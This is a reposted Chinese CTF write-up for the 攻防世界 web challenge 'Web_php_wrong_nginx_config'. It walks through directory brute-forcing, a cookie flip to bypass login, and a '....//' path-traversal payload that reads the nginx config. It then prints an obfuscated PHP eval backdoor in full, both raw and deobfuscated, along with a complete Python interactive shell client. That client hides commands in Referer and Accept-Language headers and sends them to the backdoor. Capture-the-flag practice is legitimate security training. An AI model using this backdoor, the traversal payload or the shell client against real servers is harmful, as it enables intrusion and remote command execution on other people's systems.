返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >【愚公系列】2023年06月 攻防世界-Web(Web_php_wrong_nginx_config)
  • 251
分享到

【愚公系列】2023年06月 攻防世界-Web(Web_php_wrong_nginx_config)

php前端nginxweb安全网络安全 2023-09-01 11:09:38 251人浏览 安东尼
摘要

文章目录 前言一、Web_php_wrong_nginx_config1.题目2.答题 前言 PHP代码混淆后门脚本是指在进行php代码混淆的过程中,植入恶意代码以实现后门的攻击手段

文章目录


前言

PHP代码混淆后门脚本是指在进行php代码混淆的过程中,植入恶意代码以实现后门的攻击手段。一旦植入成功,黑客可以通过特定的操作指令,绕过用户身份验证,进入系统内部,获取敏感信息,甚至控制整个系统。

常见的PHP代码混淆后门脚本类型有以下几种:

  1. 直接将后门代码插入到混淆后的PHP代码中。

  2. 在混淆后的PHP代码中设置特定的注释符号,在注释中写入后门代码,以达到隐藏的目的。

  3. 在混淆后的PHP代码中创建了一个特定的变量或调用特定的函数,以此触发后门代码。

为避免被黑客攻击,建议用户在使用来历不明或未经信任的PHP代码混淆程序前,务必先了解其安全性和稳定性,尽量使用官方或权威的PHP代码混淆工具。同时,也需加强系统安全保护,对敏感信息进行加密和备份,确保系统安全性和稳定性。

一、WEB_php_wrong_Nginx_config

1.题目

在这里插入图片描述

2.答题

进入网页发现登录页面

在这里插入图片描述
目录爆破

dirsearch -u "Http://61.147.171.105:55680/" -e php

在这里插入图片描述

发现robots.txt

在这里插入图片描述
hint.php

在这里插入图片描述
Hack.php
在这里插入图片描述
发现跳转到登录页面,抓包看看Hack.php,发现了可疑的点Cookie:isLogin=0,不妨修改为1,进入控制中心:

在这里插入图片描述
点击云管理中心,拦截包
在这里插入图片描述
发现url中file=index&ext=php,不妨测试一下…/,发现这里过滤了…/:根据hint.php可以知道配置文件的路径,那就构造payload:file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=,读取

在这里插入图片描述

server {    listen 8080; ## listen for ipv4; this line is default and implied    listen [::]:8080; ## listen for ipv6    root /var/www/html;    index index.php index.html index.htm;    port_in_redirect off;    server_name _;    # Make site accessible from http://localhost/    #server_name localhost;    # If block for setting the time for the logfile    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {       set $year $1;       set $month $2;       set $day $3;    }    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html    sendfile off;        set $http_x_forwarded_for_filt $http_x_forwarded_for;        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {                set $http_x_forwarded_for_filt $1???;        }    # Add stdout logging    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;    error_log /var/log/nginx/error.log info;    location / {        # First attempt to serve request as file, then        # as directory, then fall back to index.html        try_files $uri $uri/ /index.php?q=$uri&$args;        server_tokens off;    }    #error_page 404 /404.html;    # redirect server error pages to the static page /50x.html    #    error_page 500 502 503 504 /50x.html;    location = /50x.html {        root /usr/share/nginx/html;    }    location ~ \.php$ {        try_files $uri $uri/ /index.php?q=$uri&$args;        fastcgi_split_path_info ^(.+\.php)(/.+)$;        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;        fastcgi_param SCRIPT_NAME $fastcgi_script_name;        fastcgi_index index.php;        include fastcgi_params;        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;    }    location ~ /\. {            log_not_found off;            deny all;    }    location /web-img {        alias /images/;        autoindex on;    }    location ~* \.(ini|docx|pcapng|doc)$ {           deny all;      }      include /var/www/nginx[.]conf;}

代码审计,关键词alias:用来指定请求资源的真实路径,访问web-img:
在这里插入图片描述
找到敏感文件 /var/www/hack.php.bak,根据经验,这应该是一个PHP混淆。

<?php$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d"|U);@ses|U|Usion_des|Utroy();}}}}';$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z;$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);$g=create_function('',$f);$g();?>

输出$f看看

$kh = "42f7";$kf = "e9ac";function x($t, $k) {    $c = strlen($k);    $l = strlen($t);    $o = "";    for ($i = 0; $i < $l;) {        for ($j = 0;            ($j < $c && $i < $l); $j++, $i++) {            $o. = $t {                $i            } ^ $k {                $j            };        }    }    return $o;}$r = $_SERVER;$rr = @$r["HTTP_REFERER"];$ra = @$r["HTTP_ACCEPT_LANGUAGE"];if ($rr && $ra) {    $u = parse_url($rr);    parse_str($u["query"], $q);    $q = array_values($q);    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);    if ($q && $m) {@        session_start();        $s = & $_SESSION;        $ss = "substr";        $sl = "strtolower";        $i = $m[1][0].$m[1][1];        $h = $sl($ss(md5($i.$kh), 0, 3));        $f = $sl($ss(md5($i.$kf), 0, 3));        $p = "";        for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]];        if (strpos($p, $h) === 0) {            $s[$i] = "";            $p = $ss($p, 3);        }        if (array_key_exists($i, $s)) {            $s[$i]. = $p;            $e = strpos($s[$i], $f);            if ($e) {                $k = $kh.$kf;                ob_start();@                eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));                $o = ob_get_contents();                ob_end_clean();                $d = base64_encode(x(gzcompress($o), $k));                print("<$k>$d$k>");@                session_destroy();            }        }    }}

经过提示这个是个后门,一个PHP混淆后门的分析,脚本如下:

# encoding: utf-8from random import randint, choicefrom hashlib import md5import urllibimport stringimport zlibimport base64import requestsimport redef choicePart(seq, amount):    length = len(seq)    if length == 0 or length < amount:        print 'Error Input'        return None    result = []    indexes = []    count = 0    while count < amount:        i = randint(0, length - 1)        if not i in indexes:            indexes.append(i)            result.append(seq[i])            count += 1            if count == amount:                return resultdef randBytesFlow(amount):    result = ''    for i in xrange(amount):        result += chr(randint(0, 255))    return resultdef randAlpha(amount):    result = ''    for i in xrange(amount):        result += choice(string.ascii_letters)    return resultdef loopXor(text, key):    result = ''    lenKey = len(key)    lenTxt = len(text)    iTxt = 0    while iTxt < lenTxt:        iKey = 0        while iTxt < lenTxt and iKey < lenKey:            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))            iTxt += 1            iKey += 1    return resultdef debugPrint(msg):    if debugging:        print msg# configdebugging = Falsekeyh = "42f7"  # $khkeyf = "e9ac"  # $kfxorKey = keyh + keyfurl = 'http://61.147.171.105:55680/hack.php'defaultLang = 'zh-CN'languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()# generate random Accept-Language only once each sessionlangTmp = choicePart(languages, 3)indexes = sorted(choicePart(range(1, 10), 3), reverse=True)acceptLang = [defaultLang]for i in xrange(3):    acceptLang.append(langTmp[i] % (indexes[i],))acceptLangStr = ','.join(acceptLang)debugPrint(acceptLangStr)init2Char = acceptLang[0][0] + acceptLang[1][0]  # $imd5head = (md5(init2Char + keyh).hexdigest())[0:3]md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))debugPrint('$i is %s' % (init2Char))debugPrint('md5 head: %s' % (md5head,))debugPrint('md5 tail: %s' % (md5tail,))# Interactive php shellcmd = raw_input('phpshell > ')while cmd != '':    # build junk data in referer    query = []    for i in xrange(max(indexes) + 1 + randint(0, 2)):        key = randAlpha(randint(3, 6))        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))        query.append((key, value))    debugPrint('Before insert payload:')    debugPrint(query)    debugPrint(urllib.urlencode(query))    # encode payload    payload = zlib.compress(cmd)    payload = loopXor(payload, xorKey)    payload = base64.urlsafe_b64encode(payload)    payload = md5head + payload    # cut payload, replace into referer    cutIndex = randint(2, len(payload) - 3)    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)    iPiece = 0    for i in indexes:        query[i] = (query[i][0], payloadPieces[iPiece])        iPiece += 1    referer = url + '?' + urllib.urlencode(query)    debugPrint('After insert payload, referer is:')    debugPrint(query)    debugPrint(referer)    # send request    r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)    html = r.text    debugPrint(html)    # process response    pattern = re.compile(r'<%s>(.*)' % (xorKey, xorKey))    output = pattern.findall(html)    if len(output) == 0:        print 'Error,  no backdoor response'        cmd = raw_input('phpshell > ')        continue    output = output[0]    debugPrint(output)    output = output.decode('base64')    output = loopXor(output, xorKey)    output = zlib.decompress(output)    print output    cmd = raw_input('phpshell > ')

在这里插入图片描述
得到flag:ctf{a57b3698-eeae-48c0-a669-bafe3213568c}

来源地址:https://blog.csdn.net/aa2528877987/article/details/131288189

--结束END--

本文标题: 【愚公系列】2023年06月 攻防世界-Web(Web_php_wrong_nginx_config)

本文链接: https://lsjlt.com/news/388175.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作